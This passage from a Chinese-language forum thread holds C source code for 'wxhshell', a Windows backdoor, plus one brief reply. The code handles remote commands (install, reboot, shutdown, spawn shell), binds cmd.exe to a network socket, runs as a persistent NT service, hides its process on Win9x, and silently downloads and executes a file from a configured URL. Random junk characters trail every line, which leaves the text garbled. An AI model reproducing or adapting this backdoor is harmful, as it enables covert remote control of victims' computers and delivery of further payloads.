  } 61'XgkacDS  
  else { 7J<5f)  
hkQ"OsU  
    switch(cmd[0]) { iGB}Il)  
  oYH-wQj  
  // 帮助 C]A.i2o8  
  case '?': { yD}B%\45  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l!u_"I8j5  
    break; g]0_5?i  
  } 3)ywX&4"L  
  // 安装 1p=]hC  
  case 'i': { =B@2#W#  
    if(Install()) {R6ZKB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 97!;.f-  
    else _I5Y"o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E r?&Y,o  
    break; 9x =Y^',5  
    } [d ]9Oa4  
  // 卸载 qlPT Ll  
  case 'r': { EXqE~afm2  
    if(Uninstall()) S30%)<W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mb*?5R6;  
    else Pe3o;mx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kE1TP]|  
    break; L.JT[zOfb  
    } '6%2.[ o  
  // 显示 wxhshell 所在路径 '}Z<h?9  
  case 'p': { /N.U/MPL_  
    char svExeFile[MAX_PATH]; 6.yu-xm  
    strcpy(svExeFile,"\n\r"); 4BpZJ~(p  
      strcat(svExeFile,ExeFile); nAlQ7 '  
        send(wsh,svExeFile,strlen(svExeFile),0); 63IM]J  
    break; {E|$8)58i  
    } Ml-6OvQ7g  
  // 重启 uW %#  
  case 'b': { a0H+.W+]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q'Pf]  
    if(Boot(REBOOT)) I{=Qtnlb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NC6&x=!3  
    else { O5BYD=7  
    closesocket(wsh); G$('-3@i`w  
    ExitThread(0); ?(_08O  
    } NL+N%2XG7  
    break; U- k`s[dv  
    } 'i|YlMFIg  
  // 关机 S)"Jf?  
  case 'd': { ) Hr`M B  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }3WxZv]I}  
    if(Boot(SHUTDOWN)) W=+ Y|R!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vo{--+{ky!  
    else { WcbiqxK7-  
    closesocket(wsh); jT;;/Fd3/  
    ExitThread(0); l,aay-E  
    } rEz^  
    break; zX i 'kB  
    } i SQu#p@  
  // 获取shell sU^1wB Rj  
  case 's': { (+hK%}K>  
    CmdShell(wsh); KD.]i' d<  
    closesocket(wsh); {Qj~M<@3  
    ExitThread(0); @oGcuE  
    break; 0#gK6o!  
  } :7;@ZEe  
  // 退出 H3oFORh  
  case 'x': { P16~Qj  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +Vdpy (  
    CloseIt(wsh); b*lkBqs$  
    break; $3kH~3{]  
    } ba9?(+i$h  
  // 离开 */S_Icf  
  case 'q': { XQw9~$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lH~[f  
    closesocket(wsh); WUTowr  
    WSACleanup(); bpa?C  
    exit(1); ;722\y(Y  
    break; j_j]"ew)  
        } o^wqFX(Y  
  } fI|$K )K  
  }  /G`]=@~  
|JsZJ9W+J  
  // 提示信息 ]hV*r@d  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &BSn?  
} iH'p>s5L  
  } hgE71H\s  
AbOf6%Env  
  return; RPbZ(.  
} I5W~g.<6  
;5AcFB  
// shell模块句柄 xD=csJ'(  
int CmdShell(SOCKET sock) ?Z}&EH  
{ 1=v*O.XW`  
STARTUPINFO si; ?gXp*>Kg[  
ZeroMemory(&si,sizeof(si)); pQQH)`J|t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :rP=t ,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,`sv1xwd  
PROCESS_INFORMATION ProcessInfo; "ocyK}l.?  
char cmdline[]="cmd"; o{[qZc_%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bW:!5"_{H  
  return 0; )LCHy^'  
} !d T4  
5~S5F3  
// 自身启动模式 -tU'yKhn  
int StartFromService(void) ?&uu[y  
{ Rk8P ax/JK  
typedef struct NX&_p!_V  
{ dQG=G%W  
  DWORD ExitStatus; ,/U6[P_C5  
  DWORD PebBaseAddress; #p{4^  
  DWORD AffinityMask; _(zG?]y0P  
  DWORD BasePriority; )YI(/*+]  
  ULONG UniqueProcessId; U%/+B]6jP  
  ULONG InheritedFromUniqueProcessId; f,Ghb~y  
}   PROCESS_BASIC_INFORMATION; Gp\ kU:}&  
IvNT6]6 P  
PROCNTQSIP NtQueryInformationProcess; 4b`=>X;W  
kSo"Ak!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L \iFNT}g`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T6kdS]4-  
/<BI46B\  
  HANDLE             hProcess; OB}Ib]  
  PROCESS_BASIC_INFORMATION pbi; yF/jFn  
aQI(Y^&%3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &>}5jC.I  
  if(NULL == hInst ) return 0; I*^Ta{j[  
-DAlRz#d,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9Gz=lc[!7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =?`c=z3~i$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]]Ufas9  
!1b;F*H  
  if (!NtQueryInformationProcess) return 0; )WFr</z5bA  
*gz{.)W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S`]k>' l  
  if(!hProcess) return 0; [a<SDMR  
yaV|AB$v  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kAGBdaJ"  
7cMv/g^ h@  
  CloseHandle(hProcess); |sZHUf_  
f|oh.z_R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f`66h M[  
if(hProcess==NULL) return 0; )BfAw  
z([</D?  
HMODULE hMod; mXs; b 2r^  
char procName[255]; M rb)  
unsigned long cbNeeded; <QGXy=  
_h1mF<\ X^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S$X Sei_q  
_GPl gp:  
  CloseHandle(hProcess); , 9 a  
|(^PS8wG  
if(strstr(procName,"services")) return 1; // 以服务启动 o3}3p]S\  
+8ZF"{y  
  return 0; // 注册表启动 +x}<IS8  
} .6 ?U@2  
"5$B>S(Q  
// 主模块 ;YL i{  
int StartWxhshell(LPSTR lpCmdLine) DLNb o2C  
{ JOBhx)E  
  SOCKET wsl; zT-_5uZQ  
BOOL val=TRUE; FHI ;)wn=  
  int port=0; A\5L 7  
  struct sockaddr_in door; kylVH! @l  
uWE^hz"  
  if(wscfg.ws_autoins) Install(); Pg7Yp2)Oli  
u\nh[1)a)  
port=atoi(lpCmdLine); hP&B t  
@7n"yp*"  
if(port<=0) port=wscfg.ws_port; X!g#T9kG  
@U}1EC{A  
  WSADATA data; -z(+//K:#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )w%!{hn  
R*r#E{!V;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   S|+o-[e8O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K", N!koj  
  door.sin_family = AF_INET; r]36z X v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m`r(p"  
  door.sin_port = htons(port); 3=ymm^  
u> 7=AlWF-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SasJic2M  
closesocket(wsl); R{T$[$6S  
return 1; Xla~Yg  
} 65^9  
_:27]K:  
  if(listen(wsl,2) == INVALID_SOCKET) { x-3\Ls[I  
closesocket(wsl); !%0 * z  
return 1; Ma"]PoP  
} #Mw8^FST  
  Wxhshell(wsl); "snw4if  
  WSACleanup(); @F*%9LPv  
AYx{U?0p  
return 0; )K    
pyvSwD5t  
} HyWCMK6b  
?6Y?a2 |  
// 以NT服务方式启动 D}/vLw:v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a:6m7U)P#5  
{ Tnm.A?  
DWORD   status = 0; 83q6Sv  
  DWORD   specificError = 0xfffffff; ^y%T~dLkp'  
V "h +L7T  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @;RXLq/8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; u.Dz~$T  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OI*Xt`  
  serviceStatus.dwWin32ExitCode     = 0; H_Q+&9^/  
  serviceStatus.dwServiceSpecificExitCode = 0; ea')$gR  
  serviceStatus.dwCheckPoint       = 0; C3YT1tK  
  serviceStatus.dwWaitHint       = 0; w`zTR0`  
E^eVvP4uC@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ixD)VcD-f  
  if (hServiceStatusHandle==0) return; CzEd8jeh7  
kW&TJP+5*  
status = GetLastError(); 3:i@II  
  if (status!=NO_ERROR) X}\:_/  
{ 3/n5#&c\4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Jze:[MYS  
    serviceStatus.dwCheckPoint       = 0; dlTt _.  
    serviceStatus.dwWaitHint       = 0; )hfpwdQ  
    serviceStatus.dwWin32ExitCode     = status; oM`0y@QCf  
    serviceStatus.dwServiceSpecificExitCode = specificError; L/G6Fjg^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /s}} &u/  
    return; G<v&4/\p`M  
  } ~M4;  
,nDaqQ-C!!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O@C@eW#  
  serviceStatus.dwCheckPoint       = 0; B_m8{44zM  
  serviceStatus.dwWaitHint       = 0; >I&5j/&}+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @6T/Tdz  
} ikiypWq  
>V}#[/n  
// 处理NT服务事件,比如:启动、停止 :G%61x&=Zc  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $ gS>FJ  
{ }Kbb4]t|"  
switch(fdwControl) f=K]XTw~  
{ 0.k7oB;f(@  
case SERVICE_CONTROL_STOP: 7%eK37@u  
  serviceStatus.dwWin32ExitCode = 0; SKsKPqz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wD'SPk5S?  
  serviceStatus.dwCheckPoint   = 0; Z}Ft:7   
  serviceStatus.dwWaitHint     = 0; W v+?TEP  
  { A{D];pE`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fy-t T]Q9  
  } HRfYl,S,  
  return; wEvVL  
case SERVICE_CONTROL_PAUSE: ?+}_1x`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |4 0`B% Z  
  break; ,wAF:7'  
case SERVICE_CONTROL_CONTINUE: :^B1~p(?sK  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; O[JL+g4  
  break; 6G""I]uT  
case SERVICE_CONTROL_INTERROGATE: o]I\6,T/|  
  break; %/#NK1&M  
}; {[?(9u7R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1NA.nw.  
} ^sLdAC  
N U`  
// 标准应用程序主函数 6gu!bu`~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) CdjI`  
{ lchPpm9  
m`^q <sj  
// 获取操作系统版本 A*547=M/(j  
OsIsNt=GetOsVer(); 4)urU7[ &)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ={@6{-tl  
D7Q$R:6|  
  // 从命令行安装 [j/9neaye  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]K,Tnyp  
#fn)k1  
  // 下载执行文件 ,M ^<CJ  
if(wscfg.ws_downexe) { @O^6&\s>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %S^8c  
  WinExec(wscfg.ws_filenam,SW_HIDE); .;`AAH'k  
} K} X&AJ5A  
=R$u[~Xl2X  
if(!OsIsNt) { @>Km_Ax  
// 如果时win9x,隐藏进程并且设置为注册表启动 t)$:0  
HideProc(); "n5N[1b k  
StartWxhshell(lpCmdLine); Ig0VW)@  
} _H7x9 y=  
else #( 146  
  if(StartFromService()) |~mOfuQb  
  // 以服务方式启动 ra gXn  
  StartServiceCtrlDispatcher(DispatchTable); O`t&ldU  
else l L@XM2"  
  // 普通方式启动 ,w:U#r~s"  
  StartWxhshell(lpCmdLine); sLT3Y}IO  
!9VY|&fHe  
return 0; -3Z,EaG^  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八